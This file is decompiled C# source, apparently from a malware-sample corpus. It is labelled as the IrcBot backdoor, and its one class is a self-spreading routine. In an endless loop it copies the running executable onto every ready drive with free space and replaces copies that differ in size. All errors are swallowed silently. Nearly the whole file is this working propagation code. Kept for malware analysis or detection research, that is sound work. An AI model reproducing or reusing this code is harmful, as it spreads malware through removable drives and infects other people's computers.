// Decompiled with JetBrains decompiler
// Type: n.USB
// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.IO;
using System.Threading;
using System.Windows.Forms;

namespace n
{
  [StandardModule]
  public sealed class USB
  {
    public static void USb(string S)
    {
      while (true)
      {
        Thread.Sleep(5000);
        try
        {
          foreach (DriveInfo drive in DriveInfo.GetDrives())
          {
            if (drive.IsReady)
            {
              if (drive.TotalFreeSpace > 0L)
              {
                try
                {
                  if (!File.Exists(drive.Name + S))
                  {
                    File.Copy(Application.ExecutablePath, drive.Name + S, true);
                    File.SetAttributes(drive.Name + S, FileAttributes.Normal);
                  }
                  else if (FileSystem.FileLen(drive.Name + S) != FileSystem.FileLen(Application.ExecutablePath))
                    File.Delete(drive.Name + S);
                }
                catch (Exception ex)
                {
                  ProjectData.SetProjectError(ex);
                  ProjectData.ClearProjectError();
                }
              }
            }
          }
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          ProjectData.ClearProjectError();
        }
      }
    }
  }
}
